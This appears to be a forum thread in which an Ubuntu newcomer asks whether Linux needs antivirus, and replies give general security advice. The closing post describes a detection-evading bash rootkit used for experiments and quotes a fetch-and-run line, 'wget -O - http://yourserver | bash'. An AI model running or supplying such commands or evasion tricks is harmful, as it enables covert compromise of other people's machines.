Printable View
I'm fairly new to ubuntu or rather the whole linux environment and have been using it as my daily desktop recently. I want to ask if ubuntu/linux in general requires an anti-malware? (I have switched from windows 10)
Could a malware such as one made in python affect ubuntu or linux in any way by running a script in background which hijacks/installs backdoor or connects to a botnet without my knowledge?
Can such rogue processes be detected/caught?
Thread moved to Security a more appropriate sub-forum.
I am sure that you will get many opinions about whether a virus scanner is needed. Let me give you mine:
I have been using Ubuntu or Xubuntu for 10+ years now. I have over 10 machines being used by either myself or others (family members). I also have 2 machines that are used by various different people. I have never had a problem with a virus on any of these machines.
See the security link in my signature.
There is a virus detector in the repos, Clamav. It isn't for individual users; it's for servers which handle Windows programs, to prevent infected Windows programs to be distributed.
In >11 years, I have had zero malware. Relax.
If you do high risk activities, then running an A/V scanner would be useful. What are high-risk activities?
* Running any daemon that is available over the internet
* Not running an ad-blocker in all your browsers
* Allowing any Java or Javascript webpages without limitation
* Surfing to nasty parts of the internet
* copy/pasting commands from anywhere without understanding 100% what they do
* installing and using software from disreputable sources, bad PPAs, bad sources
* clicking any shortened links, or long links from disreputable sources
* have WINE installed; people do get windows viruses in WINE
* don't patch and otherwise maintain your Linux system(s)
If you deal with documents that Windows people create or you share documents with Windows users, then running an A/V scanner could be useful.
If you don't do those things, running an A/V on Linux that searches for Windows viruses isn't really useful.
Linux systems tend to be used as C&C servers if they get hacked. Normally, that would happen not from doing desktop-user stuff, but by running internet services like a web server or email or ftp or dns server that is available to the world. If you don't do that stuff and have a current, patched, maintained, router blocking all inbound connections to your LAN, then you don't need to worry.
The "Basic Ubuntu Security" webpage has more. Google finds it easily.
Could someone setup a reverse shell into your system? Yes, but only if they gain access to it in the first place. You can google "how to setup a reverse shell" for a guide. netcat, bash, ssh all support reverse shells over a network. These tools have been around for decades, but are seldom used by "bad guys."
In 25+ yrs, I've been hacked 3 times. Only once was it due to something a desktop user would have enabled. A laptop I'd installed and patched the day prior to visiting a security conference was hacked when I wasn't connected to any network, but had neglected to disable bluetooth. Since then, I softblock bluetooth devices and remove bluetooth programs.
The other hacks were due to me running daemons available to the internet. End-users don't to that stuff normally.Code:$ rfkill list
0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
3: hci0: Bluetooth
Soft blocked: yes
Hard blocked: no
this wiki may be worth considering:
For this one, this is a bit disingenuous. To get a virus in WINE, you would need to fall into a very, very special set of use cases:Quote:
have WINE installed; people do get windows viruses in WINE
- you ran a web browser or vulnerable, internet-facing program from WINE - win32's kernel32.startProcess inherits your current wine prefix, so a vulnerability that causes your web browser to call this on malicious input would affect you
- you purposefully ran a suspicious Windows executable using the wine command (they don't do this themselves, you know!)
In order to get a virus to run in WINE, either it has to start from a process or service running within WINE, or exploit an app vulnerability in Linux with explicit Linux shell or syscall functionality to load it into WINE. But if someone could run arbitrary commands on your machine via a vulnerability, why would they bother targeting WINE?
Also, a WINE security pro-tip, Ubuntu defaults Z:\to / in your winecfg. Delete this so that if you ever did get a virus, it's limited to your wine prefix or the default prefix, ~/.wine/drive_c
Then if you ever do get a Windows virus in WINE, it's just a matter of
and you're golden.Code:rm -rf $WINEPREFIX
Don't all security issues fall into a narrow scope of possible configurations and user actions? People do run WINE as root because they don't understand permissions. People do run old, unpatched, Windows software in WINE. Perhaps an old bittorrent application, because they prefer that interface. People do run known virus-containing programs in WINE because they think Linux is safe, regardless.
Not all Windows viruses will work under WINE, but some do.
I mean yes, but that's true with running a web browser in root as well, given GNOME ships with a JavaScript runtime environment. Pointing out WINE for vulnerabilities that aren't much different from Linux is just FUDQuote:
Originally Posted by TheFu
Although highly possible it is definitely less likely to happen than a Windows infection becaues most people use Windows and most hackers concentrate their efforts on screwing as many people as possible with less effort.In all the time I used Linux I never had an infection although nowadays with everything being web-based, you can visit a page with a trojan that could steal passwords or things you type on the browser I think.
Indeed it is true, but if you run a web-browser as root I am inclined to suggest that you almost deserve malware attacks!Quote:
Originally Posted by zimbuf
Web-browsers run as root is something that should NEVER EVER HAPPEN!!! Users that do so need to learn a lot more about computer security.
D'ont do it!
PS:
I've been using Linux exclusively now for over 15 years without any malware or virus-checker, and never had any infections.
Yes it's interesting how? There was some story when hackers were caught because of server's logs. Happens all the time, probably. How does a user read logs, which logs and what deserves attention in them.Quote:
Originally Posted by battlex10
That depends on the system's configurations.Quote:
Originally Posted by giant-paw
https://www.eurovps.com/blog/importa...be-monitoring/
https://www.loggly.com/ultimate-guid...ng-linux-logs/
So, should I install AV at Ubuntu Server to prevent malware?
What kind of server? I recommend reading the thread and the Security forums stickies. This one is great. bodhi.zazen did a nice job on it.Quote:
Originally Posted by situstarget
I'd say yes. I'm working on a very simple "rootkit" (it works firstly under user privileges only, even though a rootkit supposedly works as root) written in bash (yes, in bash), working on desktop environments, for security experiments. Something written to target a particular user of your choice using any Ubuntu LTS variant (I didn't try on other variants). It has to be installed by the target (via social engineering or any tricks of this kind) or via an "evil maid" attack, unless you find any other way to get it automatically installed through an exploitable security flaw. It provides you to get a script of your own remotely executed at scheduled times (such as something like: wget -O - http://yourserver | bash).Quote:
Originally Posted by battlex10
This simple 300 lines long program is, as far as I checked, persistent and not detectable through traditional means (ps, crontab, rkhunter, chkrootkit, clamav, most of unhide stuff, and most of the network analyzers, as long as you have an exhaustive list of those which can be running on the system). I tried to make it light enough to keep it from being significantly detected via the CPU load and it hides in the hidden directories of the user's /home/.
All that to say that whether you got infected by a simple malware like that or an advanced one (using preloaded libraries, loadable kernel modules or patched kernel rootkit, which need root to get installed), the methods of detection would be a bit different / almost the same, but the best way to be sure something wrong is happening before breaking up your system to find the culprit would be to tap your network "outside of the box", where nothing could be hidden by any malicious stuff.